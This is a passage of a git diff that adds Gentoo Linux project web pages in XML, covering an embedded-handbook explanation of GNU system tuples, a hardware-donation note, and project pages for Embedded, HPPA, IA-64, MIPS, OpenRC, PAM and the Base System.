+++ b/xml/htdocs/proj/en/base/embedded/handbook/tuples.xml
@@ -0,0 +1,166 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/tuples.xml,v 1.5 2010/08/30 03:59:07 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+System tuples -- what are they and how to parse them.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Background</title>
+<body>
+
+<p>
+The <uri link="http://savannah.gnu.org/projects/config">GNU config</uri> project
+exists to take all known systems out there and generate a short string which
+describes all relevant aspects (from a toolchain/build perspective) of a system
+in question.
+</p>
+
+<p>
+The canonicalized form is:
+<b>machine</b>-<b>vendor</b>-<b>kernel</b>-<b>operating system</b>.  Many tuples
+may actually omit the vendor field (since it is completely arbitrary).  The
+<b>operating system</b> field has also expanded its meaning over time to
+indicate the userland and/or userland ABI.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Examples</title>
+<body>
+
+<p>
+Here is a (by no means complete) table of many common configurations.  Note
+that not all permutations will work as some fields (like <b>kernel</b> or
+<b>operating system</b>) imply someone has actually ported the relevant
+<b>machine</b> to it which may not be the case.
+</p>
+
+<table>
+<tr>
+  <th>Machine</th>
+  <th>Vendor</th>
+  <th>Kernel</th>
+  <th>Operating System</th>
+</tr>
+<tr>
+  <ti>
+  alpha <br/>
+  arm / armeb <br/>
+  avr / avr32 <br/>
+  bfin <br/>
+  cris <br/>
+  hppa / hppa1.1 / hppa2.0 / hppa64 <br/>
+  ia64 <br/>
+  i386 / i486 / i586 / i686 <br/>
+  m68k <br/>
+  mips / mipsel / mips64 / mips64el <br/>
+  nios / nios2 <br/>
+  powerpc / powerpc64 <br/>
+  sparc / sparcv8 / sparcv9 / sparc64 <br/>
+  s390 / s390x <br/>
+  sh / sh3 / sh4 / sheb / sh3eb / sh4eb / sh64 <br/>
+  vax <br/>
+  x86_64 <br/>
+  </ti>
+  <ti>
+  gentoo <br/>
+  pc <br/>
+  softfloat <c>[1]</c> <br/>
+  unknown <br/>
+  </ti>
+  <ti>
+  elf <c>[2]</c> <br/>
+  freebsd6.2 <br/>
+  linux <br/>
+  mingw32 / mingw64 <br/>
+  uclinux <c>[3]</c> <br/>
+  </ti>
+  <ti>
+  gnu <c>[4]</c> <br/>
+  gnueabi <c>[5]</c> <br/>
+  uclibc <c>[6]</c> <br/>
+  uclibceabi <br/>
+  </ti>
+</tr>
+</table>
+
+<ol>
+  <li> <!-- [1] -->
+    Remember that part where we said the <b>vendor</b> field was completely
+    arbitrary?  That's almost completely true.  In the Gentoo world, we've
+    allocated the field <e>softfloat</e> to indicate softfloat toolchains.  If
+    you need a softfloat toolchain, make sure to set the vendor field in your
+    tuple with this in it.
+  </li>
+  <li> <!-- [2] -->
+    When you use <e>elf</e> as the operating system, you're actually saying you
+    do not want to run an operating system at all, but just some code directly
+    on the hardware.  This is almost exclusively accomplished with newlib (with
+    help from libgloss).
+  </li>
+  <li> <!-- [3] -->
+    The <e>uclinux</e> field produces FLAT binaries which run on Linux with the
+    MMU disabled (so called no-mmu).
+  </li>
+  <li> <!-- [4] -->
+    The <e>gnu</e> field indicates glibc as the system libc.
+  </li>
+  <li> <!-- [5] -->
+    The <e>eabi</e> suffix will work on only a few embedded architectures (arm
+    and ppc at the moment).  This tells the toolchain to generate code for the
+    newer Embedded ABI.
+  </li>
+  <li> <!-- [6] -->
+    The <e>uclibc</e> field indicates uClibc as the system libc.
+  </li>
+</ol>
+
+<p>
+Some quick examples of bringing it all together.  Say you want to run a glibc
+environment under Linux on a SuperH4 machine.  The tuple there would simply be:
+<e>sh4-unknown-linux-gnu</e>.  Or perhaps you'd like to run some code directly
+on the hardware (no operating system) with an arm processor.  The tuple there
+would be: <e>arm-elf</e>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Kernel Arches</title>
+<body>
+
+<p>
+While in many cases, the value portage uses for <c>ARCH</c> and <c>KEYWORDS</c>
+matches the value used by the kernel, this is not always the case.  It also
+does not match exactly the machine list in the table above.  Over time, the
+kernel may even rename/unify some architectures, so an exact list is not
+possible without tracking every version!
+</p>
+
+<p>
+To find the current list of architectures, simply peek in the <path>arch</path>
+subdirectory of your kernel sources.  Keep in mind that the kernel will have
+many processors unified under a single architecture.  So while you may have an
+omap or strong arm or xscale processor, these cpus are all part of the same
+arm architecture.  The same goes for i386, i486, i586, and i686 processors.
+These all fall under the i386 architecture.
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/vendors.xml b/xml/htdocs/proj/en/base/embedded/handbook/vendors.xml
new file mode 100644
index 00000000..ae633f81
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/vendors.xml
@@ -0,0 +1,44 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/vendors.xml,v 1.2 2010/08/30 03:59:07 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+Information specific to vendors who wish to help out.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Hardware Donations</title>
+<body>
+
+<p>
+Obviously the first barrier to supporting something is hardware.  It's hard to
+develop for something without hardware to actually test on.  There are
+generally two classes of machines: (1) generic hardware development platforms
+and (2) specific device platforms.  The generic platforms can be thought of as
+"desktopish" machines where the system is self hosting, has large local storage
+(i.e. a harddisk, not flash), and network connectivity.  These platforms are
+useful in the sense of getting software to build specifically for that
+architecture.  The device platforms are things like a PDA or a cell phone.
+The target of the development is to produce a firmware image which can be used
+on just the one device.
+</p>
+
+<p>
+If you have hardware to spare, feel free to contact the
+<mail link="embedded@gentoo.org">Gentoo Embedded team</mail> to find the best
+home for your donation.  Thanks!
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/index.xml b/xml/htdocs/proj/en/base/embedded/index.xml
new file mode 100644
index 00000000..1cc2cd4c
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/index.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+
+<name>Embedded</name>
+<longname>Embedded Gentoo</longname>
+
+<description>
+  Embedded Gentoo brings the flexibity of Gentoo to embedded systems.
+</description>
+
+<longdescription><p>
+  This project manages embedded system support in Gentoo.  The project is 
+  responsible for overseeing the build infrastructure for creating images 
+  to be installed onto embedded systems.  Also included is the support of 
+  specific types of embedded systems and development tools.
+</p></longdescription>
+
+<goals><p>
+  The intention of the project is to make Gentoo viable for embedded systems.  
+  This includes creating a system for cross compiling and building the image 
+  for an embedded system on a Gentoo workstation.  The base install image 
+  should be minimal, with different libc options.  Building on this base, 
+  the system can be customized for the particular system.
+</p></goals>
+
+<dev role="lead">solar</dev>
+<dev role="lead, ARM, SH, Cross Compiling">vapier</dev>
+<dev role="ARM, Handhelds">yvasilev</dev>
+<dev role="Misc">pebenito</dev>
+<dev role="Misc">dragonheart</dev>
+<dev role="PPC, newlib">lu_zero</dev>
+<dev role="JTAG, dev-embedded">robbat2</dev>
+<dev role="JTAG, ARM, PPC">kingtaco</dev>
+
+<extraproject name="Build">
+  System tools for building and loading the system.  Includes cross compiling
+  and libc (glibc/uClibc).
+</extraproject>
+<extraproject name="Tools">
+  Tools for embedded system development (dev-embedded)
+</extraproject>
+<extraproject name="Single Boards">
+  Support for single board systems.
+</extraproject>
+<extraproject name="Handhelds" lead="yvasilev">
+  Support for handheld devices, such as PDAs like iPAQ and Zaurus.
+</extraproject>
+<extraproject name="GNAP">
+  <uri link="/proj/en/base/embedded/gnap.xml">Gentoo Network APpliance</uri> project.
+</extraproject>
+
+<plannedproject name="Misc Devices">
+  Support for miscellaneous embedded systems
+</plannedproject>
+<plannedproject name="Security">
+  Implementation of security measures
+</plannedproject>
+<plannedproject name="Real Time">
+  Enhancements for real time operation
+</plannedproject>
+
+<herd name="embedded"/>
+<herd name="dev-embedded"/>
+
+<extrachapter position="bottom">
+<title>More Information</title>
+<section>
+<body>
+<p>
+All the good stuff has been integrated into the <uri link="handbook">Embedded Handbook</uri>.
+</p>
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/base/hppa/index.xml b/xml/htdocs/proj/en/base/hppa/index.xml
new file mode 100644
index 00000000..85031d34
--- /dev/null
+++ b/xml/htdocs/proj/en/base/hppa/index.xml
@@ -0,0 +1,65 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+	<name>Gentoo HPPA</name>
+	<longname>Gentoo Linux HPPA Development</longname>
+
+	<description>
+		The Gentoo HPPA project provides the Gentoo GNU/Linux operating system
+		to the HP Precision Architecture platform.
+	</description>
+
+	<longdescription><p>
+		Gentoo/HPPA is a Gentoo project designed to bring the Gentoo
+		GNU/Linux operating system to the HP Precision Architecture
+		platforms. Gentoo/HPPA aims to provide a usable computing
+		environment for your various HPPA related endeavours. Since
+		hardware graphics support for Linux is rare in HPPA computers,
+		the project focuses on server usage.
+	</p></longdescription>
+
+	<dev role="Lead" description="Gentoo/HPPA">GMsoft</dev>
+	<dev role="Member" description="Releng">dertobi123</dev>
+	<dev role="Member" description="Developer">vapier</dev>
+	<dev role="Member" description="Security">jer</dev>
+
+	<extrachapter position="bottom">
+		<title>Project notes</title>
+		<section>
+			<body>
+				<p>If you need help, have some problems, or if you just want to
+					speak with us, join <c>#gentoo-hppa</c> on
+					<c>irc.freenode.net</c>. We are always happy if someone
+					report us a successful installation and always ready to
+					help if you got problems.
+				</p>
+
+				<p>On the other hand, if you discover a bug please fill a bug
+					report in our <uri link="http://bugs.gentoo.org">Bugzilla</uri>.
+				</p>
+
+				<p>A mailing list is available, too. To subscribe, visit
+					<uri>http://www.gentoo.org/main/en/lists.xml</uri>.
+				</p>
+			</body>
+		</section>
+	</extrachapter>
+
+	<extrachapter position="bottom">
+		<title>Current project status</title>
+		<section>
+			<body>
+				<p>Gentoo/HPPA is a security supported architecture. It runs pretty
+					stable.</p>
+			</body>
+		</section>
+	</extrachapter>
+
+	<herd name="hppa" />
+</project>
+<!--
+vim: tabstop=4 noexpandtab softtabstop=0 shiftwidth=4 softtabstop=4
+-->
diff --git a/xml/htdocs/proj/en/base/hppa/news/20040116-gwn.xml b/xml/htdocs/proj/en/base/hppa/news/20040116-gwn.xml
new file mode 100644
index 00000000..404a8067
--- /dev/null
+++ b/xml/htdocs/proj/en/base/hppa/news/20040116-gwn.xml
@@ -0,0 +1,12 @@
+<?xml version='1.0'?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<news gentoo="yes" category="linux">
+	<poster>gmsoft</poster>
+	<date>16 January 2004</date>
+	<title>Gentoo/HPPA -- January 16th, 2004</title>
+<body>
+<p>
+First news of Gentoo/HPPA.
+</p>
+</body>
+</news>
diff --git a/xml/htdocs/proj/en/base/ia64/index.xml b/xml/htdocs/proj/en/base/ia64/index.xml
new file mode 100644
index 00000000..0c7fc1ae
--- /dev/null
+++ b/xml/htdocs/proj/en/base/ia64/index.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "http://www.gentoo.org/dtd/project.dtd">
+<project>
+  <name>Gentoo IA-64</name>
+
+  <longname>Gentoo Linux IA-64 Development</longname>
+
+  <description>
+    The IA-64 Development Project is devoted to keeping Gentoo in good shape
+    on the IA-64 architecture.
+  </description>
+
+  <longdescription>
+
+    <p>The Gentoo/IA-64 Project works to keep Gentoo the most up to date and
+    fastest IA-64 distribution available. We are responsible for the
+    maintainance of all IA-64 specific meta-data and the testing of all other
+    non IA-64 specific meta-data on the IA-64 architecture to ensure
+    portability. Portability implies reuseable meta-data.</p>
+
+    <p>Bugs are tracked and resolved from the <uri
+    link="http://bugs.gentoo.org">Gentoo bug tracker</uri> and correspondence is
+    maintained on the various IA-64 related mailinglists.  (gentoo-IA-64-user,
+    gentoo-IA-64-dev and those belonging to the sub-projects).</p>
+
+  </longdescription>
+
+  <goals>
+
+    <p>The goal of the Gentoo IA-64 development project is to guarantee that
+    the IA-64 packages build using Gentoo meta-data are up to date.  By
+    continuously enhancing the meta-data, we provide the IA-64 user with the
+    Gentoo community feeling, performance, freedom and up to dateness.  The
+    meta-distribution notion allows for a user to to be as bleeding edge as
+    he/she wants:</p>
+
+    <p>Gentoo is unique because of its interpretation of the Meta-Distribution
+    notion: all architectures share the same 'generic' meta-data (information
+    about how to build packages - how to build a distribution). The IA-64
+    developers are responsible for building and testing packages using this
+    meta-data.  The meta-data gets marked 'tested' or 'stable' afterwards,
+    depending on the building and testing expierience. Our users can use (but
+    don't have to use) this information to build a system that suits their
+    needs.</p>
+
+  </goals>
+  <dev role="Lead" description="Gentoo/IA-64">armin76</dev>
+  <dev role="Member">vapier</dev>
+
+  <extrachapter position="bottom">
+    <title>How to Participate</title>
+    <section>
+      <body>
+
+        <p>Can you make computers do amazing things? Are you excited about
+        exploring areas of computing never explored before? We are continuously
+        looking for volunteers willing to spend some of their free time on this
+        project. In return for your work, you get the respect of the IA-64
+        community.</p>
+
+        <p>If you are interested in helping, but don't have a niche that you are
+        interested in filling, you can always look through <uri
+        link="http://bugs.gentoo.org">bugs.gentoo.org</uri>. There are many many
+        bugs waiting to be found and fixed and many enhancements looking to find
+        someone to code them. Figure out a fix, implement it, test it, and then
+        keep trying to make the patch smaller. Post it for review on <uri
+        link="http://bugs.gentoo.org">bugs.gentoo.org</uri>, and keep working on
+        it. If it seems ignored, make a new comment in the bug and/or mention it
+        in #gentoo-IA64.</p>
+
+      </body>
+    </section>
+  </extrachapter>
+
+<herd name="IA-64"/>
+
+</project>
diff --git a/xml/htdocs/proj/en/base/index.xml b/xml/htdocs/proj/en/base/index.xml
new file mode 100644
index 00000000..d990c6e9
--- /dev/null
+++ b/xml/htdocs/proj/en/base/index.xml
@@ -0,0 +1,100 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>base</name>
+<longname>Gentoo Base System</longname>
+<description>
+  The Base System Project provides an umbrella project for keeping the
+  system tools, libraries, compilers and layout consistent for all the
+  various architectures under Gentoo Linux.
+</description>
+
+<longdescription><p>
+  Gentoo Base System aims to provide a consistency in compilers, toolchains,
+  filesystem layouts and startup scripts across all the architectures which
+  Gentoo Linux supports.  We try to provide maximum usability and
+  flexibility to allow for porting to any architecture supported by the
+  Linux kernel. The relevant categories in portage with which we are
+  concerned are <uri
+  link="http://packages.gentoo.org/category/sys-apps?full_cat">sys-apps</uri>,
+  <uri
+  link="http://packages.gentoo.org/category/sys-boot?full_cat">sys-boot</uri>,
+  <uri
+  link="http://packages.gentoo.org/category/sys-devel?full_cat">sys-devel</uri>,
+  <uri
+  link="http://packages.gentoo.org/category/sys-fs?full_cat">sys-fs</uri>,
+  and <uri
+  link="http://packages.gentoo.org/category/sys-libs?full_cat">sys-libs</uri>.
+  However, we do not hold exclusive jurisdiction over any of the categories.
+</p></longdescription>
+
+<goals><p>
+  To provide a set of stable and secure system-level applications and
+  libraries.  The most visible and obvious among them are: <uri
+  link="http://packages.gentoo.org/package/sys-apps/baselayout">baselayout
+  and the initscript system</uri>, <uri
+  link="http://packages.gentoo.org/package/sys-devel/gcc">
+  gcc</uri>, <uri
+  link="http://packages.gentoo.org/package/sys-devel/gcc-config">
+  gcc-config</uri>, <uri
+  link="http://packages.gentoo.org/package/sys-devel/binutils">binutils</uri>, 
+  <uri
+  link="http://packages.gentoo.org/package/sys-libs/glibc">glibc</uri>,
+  and <uri
+  link="http://packages.gentoo.org/category/sys-boot?full_cat">boot
+  loaders</uri>
+</p></goals>
+
+<dev role="Lead" description="Gentoo Base System Project Leader">vapier</dev>
+<dev role="Team Lead" description="Alpha">klausman</dev>
+<dev role="Team Lead" description="AMD64">kingtaco</dev>
+<dev role="Team Lead" description="ARM">vapier</dev>
+<dev role="Team Lead" description="HP/PA">GMsoft</dev>
+<dev role="Team Lead" description="IA-64">armin76</dev>
+<dev role="Team Lead" description="PPC64">tgall</dev>
+<dev role="Team Lead" description="MIPS">Kumba</dev>
+<dev role="Team Lead" description="SPARC">armin76</dev>
+<dev role="Team Lead" description="SuperH">vapier</dev>
+<dev role="Team Lead" description="Embedded">pebenito</dev>
+<dev role="Team Lead" description="x86">tsunam</dev>
+
+<subproject ref="/proj/en/base/amd64/index.xml"/>
+<subproject ref="/proj/en/base/alpha/index.xml"/>
+<subproject ref="/proj/en/base/arm/index.xml"/>
+<subproject ref="/proj/en/base/hppa/index.xml"/>
+<subproject ref="/proj/en/base/ia64/index.xml"/>
+<subproject ref="/proj/en/base/mips/index.xml"/>
+<subproject ref="/proj/en/base/ppc/index.xml"/>
+<subproject ref="/proj/en/base/ppc64/index.xml"/>
+<subproject ref="/proj/en/base/sparc/index.xml"/>
+<subproject ref="/proj/en/base/x86/index.xml"/>
+<subproject ref="/proj/en/base/embedded/index.xml"/>
+<subproject ref="/proj/en/base/pam/index.xml"/>
+
+<extrachapter position="bottom">
+<title>I Want to Participate</title>
+<section>
+<body>
+<p>
+  We are always willing to talk to talented programmers and people familiar
+  with the <uri link="http://gcc.gnu.org">GNU Compiler Collection</uri>,
+  <uri link="http://www.gnu.org/software/libc/libc.html">GNU libc</uri>,
+  <uri link="http://sources.redhat.com/binutils">binutils</uri>,
+  our rc/init system or developers with an advanced knowledge of
+  a specific architecture to improve the speed and stability of Gentoo Linux
+  on any or all of our platforms.  Please contact base-system at gentoo dot
+  org to talk with us.  If you would like more information on a particular
+  architecture, please click the appropriate link in the above table and
+  contact the personnel of that particular architecture.  Additionally you can contact our
+  <uri link="http://www.gentoo.org/proj/en/devrel">recruiters</uri>.
+</p>
+</body>
+</section>
+</extrachapter>
+
+<herd name="base-system"/>
+
+</project>
diff --git a/xml/htdocs/proj/en/base/mips/index.xml b/xml/htdocs/proj/en/base/mips/index.xml
new file mode 100644
index 00000000..72588833
--- /dev/null
+++ b/xml/htdocs/proj/en/base/mips/index.xml
@@ -0,0 +1,86 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/mips/index.xml,v 1.30 2010/07/19 17:53:43 jmbsvicetto Exp $ -->
+
+<project>
+	<name>Gentoo MIPS</name>
+	<longname>Gentoo Linux MIPS Development</longname>
+	<date>2007-01-11</date>
+
+	<author title="Gentoo/MIPS">
+		<mail link="eroyf@gentoo.org">Alexander Færøy</mail>
+	</author>
+
+	<description>
+		The Gentoo/MIPS Project provides the Gentoo GNU/Linux operating 
+		system for mips-based platforms.
+	</description>
+
+	<longdescription><p>
+		Gentoo/MIPS is a port of the Gentoo GNU/Linux and the Gentoo 
+		Portage package management system to mips-based platforms.  Primary 
+		focus is on the Silicon Graphics (SGI) line of mips-based workstations, 
+		specifically the Indy and Indigo2.  Support is also available for the
+		Cobalt Microserver Qube2/RaQ2 units and the SGI O2 R5000 units.
+	</p></longdescription>
+
+	<dev role="Lead">kumba</dev>
+	<dev role="Member" description="Porting">iluxa</dev>
+	<dev role="Member" description="Porting">ricmm</dev>
+	<dev role="Member" description="Porting / Documentation">redhatter</dev>
+
+	<extraproject name="Documentation" lead="redhatter">
+		Maintaining and updating documentation for Gentoo/MIPS.
+	</extraproject>
+
+	<extraproject name="Stages/Netboot" lead="kumba">
+		Creation of the Gentoo/MIPS stages for installation.  A stage tarball is
+		a UNIX compressed tar archive of a chrootable environment for installing
+		Gentoo.<br/>
+
+		Netboot images are for the initial booting of an environment to unpack
+		the stages and install Gentoo.
+	</extraproject>
+
+	<extraproject name="SGI O2 Porting" lead="iluxa">
+		The stabilization of the linux kernel on SGI O2 systems and sucessful
+		installation and running of Gentoo/MIPS in a multi-user environment.  If 
+		you have an SGI O2 with an R5000 or R12000 CPU and wish to help with this
+		subproject, then this is the team you will want to contact.
+	</extraproject>
+
+	<extraproject name="Cobalt MIPS" lead="redhatter">
+		Creation of installation stages and documentation for installing Gentoo/MIPS 
+		on the Cobalt Microserver RaQ[2]/Qube[2] machines.
+	</extraproject>
+
+	<extraproject name="LiveCD" lead="kumba">
+		The creation and maintainence of a LiveCD for installing
+		Gentoo/MIPS.
+	</extraproject>
+
+	<extrachapter position="bottom">
+		<title>Installation Guide, Mailing Lists, and IRC Channel</title>
+		<section>
+			<body>
+				<p>Those interested in running Gentoo/MIPS on an SGI or Cobalt MIPS-based
+				system can get started by reading the 
+				<uri link="/doc/en/handbook/handbook-mips.xml">Handbook</uri>.
+				You may also find the <uri link="/doc/en/gentoo-mips-faq.xml">FAQ page</uri>
+				a useful read.  Help can be obtained by subscribing to the 
+				<c>gentoo-mips</c> mailing list.  More information about subscribing to a 
+				Gentoo mailing list can be found on the 
+				<uri link="/main/en/lists.xml">Mailing Lists</uri> page.</p>
+
+				<p>Those with access to an IRC Client can join <c>#gentoo-mips</c> on 
+				<c>irc.freenode.net</c> for general questions, help, or just to talk with 
+				others using Gentoo/MIPS.</p>
+			</body>
+		</section>
+	</extrachapter>
+
+	<herd name="mips"/>
+</project>
diff --git a/xml/htdocs/proj/en/base/openrc/index.xml b/xml/htdocs/proj/en/base/openrc/index.xml
new file mode 100644
index 00000000..b1501404
--- /dev/null
+++ b/xml/htdocs/proj/en/base/openrc/index.xml
@@ -0,0 +1,86 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/openrc/index.xml,v 1.3 2010/08/22 01:47:18 vapier Exp $ -->
+
+<project>
+<name>openrc</name>
+<longname>Gentoo OpenRC Project</longname>
+<date>2010-08-21</date>
+
+<author title="Author">
+  <mail link="dabbott@gentoo.org">David Abbott</mail>
+</author>
+<author title="Editor">
+  <mail link="williamh@gentoo.org">William Hubbs</mail>
+</author>
+<author title="Editor">
+  <mail link="vapier@gentoo.org">Mike Frysinger</mail>
+</author>
+
+<description>
+The Gentoo OpenRC Project manages Gentoo's initialization scripts system.
+</description>
+
+<longdescription>
+
+<p>
+OpenRC is a dependency based init system that works with the system provided
+init program, normally /sbin/init. It is not a replacement for /sbin/init.
+OpenRC is 100% compatible with Gentoo init scripts, which means you can probably
+find one for the daemons you want to start in the Gentoo Portage Tree. 
+</p>
+
+<p>
+Related project: <uri link="/proj/en/base/">Gentoo Base System</uri>.
+</p>
+
+</longdescription>
+
+<dev role="Member">anarchy</dev>
+<dev role="Member">blueness</dev>
+<dev role="Member">dabbott</dev>
+<dev role="Member">patrick</dev>
+<dev role="Member">vapier</dev>
+<dev role="Member">williamh</dev>
+
+<extrachapter>
+<title>Documentation</title>
+<section>
+<body>
+
+<ul>
+	<li><uri link="/doc/en/openrc-migration.xml">Baselayout and OpenRC Migration Guide</uri></li>
+</ul>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Getting involved</title>
+<section>
+<body>
+
+<p>
+The Gentoo OpenRC Project is open to all contributions.  If you would like to
+get involved in the project, feel free to join us on <uri
+link="/main/en/irc.xml">irc/#gentoo-base</uri>.  Or we're reachable via
+<mail link="openrc@gentoo.org">openrc@gentoo.org</mail>.  However, all bug
+reports should go through <uri link="http://bugs.gentoo.org/">Bugzilla</uri>
+rather than e-mail.
+</p>
+
+<p>
+You can also find the source code in the <uri
+link="http://git.overlays.gentoo.org/gitweb/?p=proj/openrc.git">OpenRC git
+tree</uri>.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/base/pam/index.xml b/xml/htdocs/proj/en/base/pam/index.xml
new file mode 100644
index 00000000..ab347149
--- /dev/null
+++ b/xml/htdocs/proj/en/base/pam/index.xml
@@ -0,0 +1,139 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/pam/index.xml,v 1.3 2007/07/14 20:43:48 flameeyes Exp $ -->
+
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+<name>Gentoo PAM maintenance</name>
+
+<date>2007-07-14</date>
+
+<author title="Author">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+
+<description>
+Pluggable Authentication Method maintenance project for Gentoo Linux and FreeBSD
+</description>
+
+<longdescription><p>
+Pluggable Authentication Method is the main authentication method supported by
+Gentoo; the PAM maintenance project maintain the related software.
+</p></longdescription>
+
+<dev role="lead" >flameeyes</dev>
+<dev role="member" description="LDAP- and NSS-related modules">robbat2</dev>
+
+<herd name="pam" />
+
+<extrachapter position="devs">
+<title>What is PAM</title>
+
+<section>
+<body>
+
+<p>
+PAM stands for <e>Pluggable Authentication Modules</e>, and refers to a
+framework for wrapping various low-level authentication methods and facilities
+in a single, mostly standardised API, originally designed and implemented by Sun
+Microsystems and, as of today, common for Linux distributions and other Unix and
+Unix-like operating systems (FreeBSD, NetBSD, Solaris, Apple Mac OS X, IBM AIX,
+HP-UX, etc.).
+</p>
+
+<p>
+PAM is a very flexible framework, allowing a wide range of different setups to
+be implemented, without having to add extra support in all the software that
+needs authentication capabilities. For instance, it's possible to get Dovecot
+(an IMAP server) to authenticate transparently against MySQL, PostgreSQL, LDAP
+or system users, without having to add any specific code for that to Dovecot
+itself (on the other hand, Dovecot <b>does</b> implement specific code to
+authenticate users against various SQL databases, but that is another story).
+</p>
+
+<p>
+The drawback of such a flexible framework is that the system is quite complex
+and fragile, as there are three or four different pieces of software that are
+involved in authentication. For this reason, there are applications that even
+when providing PAM authentication support, also provide (or even prefer)
+alternative solutions, like specific authentication code for various databases
+and file formats, or even their own plug-ins for different authentication methods.
+</p>
+
+<p>
+As I said, there are three or four different pieces of software involved in
+authentication using PAM: <e>the application authenticating</e> (like Dovecot in
+the previous example), the <c>libpam</c> library (from now on <e>the PAM
+implementation</e>), <e>the PAM module</e> (that might or might not be
+distributed with the PAM implementation), and eventually <e>a backend
+service</e> like an SQL database, LDAP or some other library used by the module.
+</p>
+
+<p>
+You can probably already understand that when we talk about the PAM
+implementation, we refer about one implementation of the PAM framework, that is
+not unique. There are, indeed, multiple PAM implementations: other than the
+proprietary ones provided by various operating systems, there are at least two
+main Free Software implementations, <b>Linux-PAM</b> (not to be fooled by the
+name, as this was used by FreeBSD 4.0, and still is used by Apple Mac OS X)
+released under double GPL-2/BSD-3 license, and <b>OpenPAM</b>, developed for
+NetBSD, but also used by FreeBSD since 5.0 and (for a while at least) by
+ALTlinux.
+</p>
+
+<p>
+Albeit the two implementations are mostly API compatible (Linux-PAM provides
+some extra utility functions in a <c>libpam_misc</c> library), and at least in
+part ABI compatible, there are other differences too: Linux-PAM provides a set
+of default PAM modules, while OpenPAM does not provide but the two main modules
+(<path>pam_permit</path> and <path>pam_deny</path>). For this reason, OpenPAM
+requires at a minimum an extra software component: the modules themselves.
+</p>
+
+<p>
+Beside the default set of modules (if provided), there are a few extra modules
+to add support for authentication against software like MySQL, PostgreSQL, LDAP
+and similar. These modules are the main flexibility feature of PAM framework, as
+it's possible to create modules to authenticate in new ways without redesigning
+the whole authentication support in the applications (like for instance
+smartcard or USB token authentication), for local services at least.
+</p>
+
+<p>
+Most of the modules, then, don't take care of authentication by themselves, but
+rely on backend software, either being a backend service like a database or LDAP
+server, or a library (like BDB). This increase complexity once again, as a bug,
+a regression or a file format change for such a service might break
+authentication for all the services configured to make use of it. This is for
+instance the case for BDB-based authentication: if the module changed the
+version of the library it links against, the old authentication database would
+be unusable.
+</p>
+
+<p>
+For further documentation about the maintenance of PAM packages, the handling of
+PAM-compatible packages in ebuilds, and the administration of PAM
+authentication, please refer to the resources offered by this project page.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<resource link="/proj/en/base/pam/service-file.xml">
+  Analysis of a PAM service configuration file
+</resource>
+
+<resource link="/proj/en/base/pam/upgrade-0.99.xml">
+  Linux-PAM 0.99 upgrade guide
+</resource>
+
+</project>
+
+<!--
+ Local Variables: **
+ mode:nXML **
+ fill-column: 80 **
+ End: **
+-->
